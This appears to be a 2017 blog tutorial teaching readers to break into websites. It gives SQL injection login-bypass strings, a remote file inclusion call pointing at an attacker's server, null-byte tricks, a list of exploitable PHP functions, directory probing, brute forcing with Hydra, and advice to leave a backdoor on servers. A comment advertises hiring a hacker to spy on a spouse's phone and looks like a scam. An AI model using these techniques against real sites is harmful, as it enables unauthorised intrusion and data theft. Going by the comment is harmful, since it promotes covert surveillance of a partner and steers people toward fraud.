Skip to main content

How to successfully hack website in 2017

The reason why a lot of newbies and non-professional hackers fail to get a successful hacking is because they don´t want to wait, most of time they want a magic button where they can click and that´s all, but in the reality it does not work like that, the first thing you have to do is a good reconnaissance about your target, for those familiar with the software development is easier to understand what i mean, you can not develop a good software without a good documentation, just like the UML in software industry here is the same, we need info about the target to make our tasks easier.
My Advice on Good Recon
What are the services they are running?
Figure out stuffs like open ports, software and versions on the server, and try to look for the exploit in case there is at least one online, or you can just make your own exploit.
Tools that i recommend for this section are nmap,whatweb and nikto and of course some others made by Mr_Nakup3nda or you.
Did they write the script by themselves?
In case they wrote it by themselves, look for scripts that take user input,scan for directory listing,check the source code,figure out how the website react to abnormal inputs, i often use these inputs:
ADMIN' OR 1=1# when its an admin url like website/admin/loign/
when its a normal login just try those traditional sql injectors like
' OR '1'='1' --
' OR '1'='1' ({
' OR '1'='1' /*
, but it does not end here, try to write sql statements on the inputs, do echo back to you, try to execute a command based on the server OS, figure out how the website filter the inputs and try to bypass the filters.
And in case they used someone else's code such as CMS just grab a copy of it and try to find bugs on your own, or find an exploit if they use a exploitable version of the CMS.
The Evil Google
Sometimes i hack websites simply with the help of some crafted google searches, as hacker you must know how to use google to gather info or hack, in case you do not know you can see my tutorial on how to use google to hack
Changing the Source Code
I bet at this point you already know how to see the source code of a webpage using the right click trick, just to remember that scripting languages like php,perl,asp, python and so on run on the server--side, so it means you can not see by right click unless its an open source platform where you can get a copy of it and change the whole code.
Directory Listing
Index browsing can be very useful when trying to find files you normally shouldn't see like password files,files used to administrate the web page, log files, any files where information get stored.
you can also manually check for suspicious urls like that:
website.com/logs/
website.com/files/
website.com/sql/
website.com/secret/
you can either make tools that will automatically do it for you, tools like dirbsuter can be very useful for this task.
My Friend robots.txt
Its very important while hacking to have a look at these files, i wont explain the use of robots.txt(just google it), they often lead us to a lot of path where they don´t want robots to see and sometimes they are very sensitive paths.
Remote Files Inclusion
File inclusion vulnerability is a type of vulnerability most often found on websites. It allows an attacker to include a file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. Below we have a piece of php code that open a file.
<?php
if (!($hfile = fopen("$file", "r"))
echo("error cant open the file: $file<br />\n");
?>
This example open the file with the name specified in the user input ($file).
That means it opens every file an attacker want to open and if allowurlfopen is ON even remote files.
Look for example at this piece of code:
Example:
<?php
include($dir . "/members.php");
?>
Just create a file .members.php on your web server and call the script like this:
dir=http://www.server.com/
It will execute your file on the target server. Important is just that you have PHP off or the code will get executed on your server.
NULL Bytes
The name of our community can be and is a very popular vulnerabilities in hacking life.
Lets say they have a script that takes filename that it gets and puts ".txt" on the end. So the programmer tries to make sure that only txt files can be opened.
But what about a filename like this:
phppage.php
It will get to:
phppage.php.txt
So fopen opens phppage.php.txt or? No! And that is the point. The fopen functions stops after
".php" before the NULL Byte and opens only "phppage.php". So every type of file can be opened.
Scripts that allow uploads (but only for a certain file type) are also a potential target for this type of attack.
SQL-Injection
SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution, in my personal experience this is the most popular issue you will find on websites, the problem is that some websites put those info in a database and not all filter them.
So when you echoed back, the javascript message is going to be shown.
If they are just logged the last part should cause a sql error wich might give us a lot of useful info.
You can try the following website.com/users.php?id=1
and add the /'/ website.com/users.php?id=1'
if it throws an error bingo, you are there.
Cross-Site Request Forgeries (CSRF) And Command Injection
About this type of attack i also made a tutorial on how youcan proceed this type of attacks
Exploitable PHP Functions
Code Execution:
require() - reads a file and interprets content as PHP code
include() - reads a file and interprets content as PHP code
eval() - interpret string as PHP code
pregreplace() - if it uses the /e modifier it interprets the replacement string as PHP code
Command Execution:
exec() - executes command + returns last line of its output
passthru() - executes command + returns its output to the remote browser
(backticks) - executes command and returns the output in an array
shellexec - executes command + returns output as string
system() - executes command + returns its output (much the same as passthru())
.can't handle binary data
popen() - executes command + connects its output or input stream to a PHP file descriptor
File Disclosure:
fopen() - opens a file and associates it with a PHP file descriptor
readfile() - reads a file and writes its contents directly to the remote browser
file() - reads an entire file into an array
filegetcontents() - reads file into a string
Brute Forcing
Sometimes you will try all the methods mentioned above, but some web sites are really secure and there is no easy way to exploit them.
Often this doesn't stop us from hacking them, they might have open ports running some services such as, ftp, telnet and so on, try to brute force it and get the password, Hydra is another amazing tool for this kind of tasks.
Physical Access
If you have a physical access to the server you get everything in your hands, be discrete and leave a backdoor on it and you done.
Other Kind of Attacks You Can Also Perform Are:
Buffer Overflow
Heap Overflow
Integer Overflow

Comments

  1. Awesome ideas. Lots of innovative ideas and technologies are going to be introduced. Thanks for sharing this awesome blog

    ReplyDelete

  2. Beware of scammers i have been scammed 3 times because i was trying to know if my husband was cheating until i met this hacker named; (wizardcyprushacker@gmail.com) who helped me hack into my spouse phone for real this great hacker hacked into my spouse whats-app messages,Facebook messages.text messages,call logs,deleted text messages,bitcoin recovery and bank transfer hack,clear criminals records,and many more i was impressed with his job and he brought me results under 24 hours believe me he is real and his services are cheap and affordable. whatsapp +1 (424) 209-7204

    ReplyDelete

Post a Comment

plz add ur comment here

Popular posts from this blog

Wordpress hacking - How to install / run wpscan on windows xp / windows 7 / windows 10

HOW TO RUN WPSCAN ON WINDOWS Byrockstardevil Requirements: rubyinstaller Development Kit for rubyinstaller curl DLL for windows : libcurl.dll 1 - install rubyinstaller you must have Ruby 2.2.3 version . download links here : http://rubyinstaller.org/downloads/ for more info : https://github.com/oneclick/rubyinstaller/wiki 2 - install Development Kit for rubyinstaller download link : http://rubyinstaller.org/downloads/ how to install : https://github.com/oneclick/rubyinstaller/wiki/Development-Kit if you face that problem  "unknown encoding name -  (ArgumentError)" just type "chcp 1252" in cmd and hit enter 3 - install libcurl.dll A - Download libcurl.dll from : http://www.confusedbycode.com/curl/ B - copy libcurl.dll copy  libcurl.dll into ruby bin folder or wpscan folder and make sure to add it to your PATH. I also added .DLL to PATHEXT ex : C:\Ruby21-x64\bin\ you can visit : http://www.computerhope.com/issues/ch000549.htm to know to set the p

How To Generate Random IP Address Using JAVA ?

Today I'll Show You How To Generate Random IP Address... But First Why I Want This...Right...? Ans : If You Want Test Your Code That Whether It Is Recognizing The Machine By It’s IP Address Then You Had To Use This Code To Generate Random IP Address. So Here We Goooo.... private String generateIPAddress ( int p1 , int p2 , int p3 ) { StringBuilder sb = null ; Random r1 = new Random (); Random r2 = new Random (); Random r3 = new Random (); Random r4 = new Random (); String ip1 = Integer . toString ( b1 ); String ip2 = Integer . toString ( b2 ); String ip3 = Integer . toString ( b3 ); String ip4 = Integer . toString ( b4 ); String b1 = IpConverter . longToIp ( r1 . nextLong ()); String b2 = IpConverter . longToIp ( r2 . nextLong ()); String b3 = IpConverter . longToIp ( r3 . nextLong ()); String b4 = IpConverter . longToIp ( r4 . nextLong ()); //Now the I

3 Ways to Root Android 7.0 Nougat on Nexus Running Official AOSP [Update: Root Android 7.1]

3 Ways to Root Android 7.0 Nougat on Nexus Running Official AOSP [Update: Root Android 7.1] If you own a Nexus phone then chances are you have already updated your device with the latest official Android 7.0 Nougat firmware. This brings the newer firmware build number NRD90M to the Nexus range including the Nexus 5X, 6P, 9, 6, Nexus Player, and the Pixel C. Unfortunately, Nexus 5 and 7 were left behind. This has been a game-changing week for the Android community as you can now expect the new software for your Android device soon enough. It may either come officially from a manufacturer or unofficially from developers like CyanogenMod. Just like we saw the unofficial support for the  Nexus 5 and the Nexus 7  today. As the new AOSP source code is now available to developers, soon you may find Cyanogen 14 based custom ROMS releasing for several devices. Hence, to be ready, you may need to be rooted and also setup a custom recovery like TWRP on your device. So that once the CM 14 bas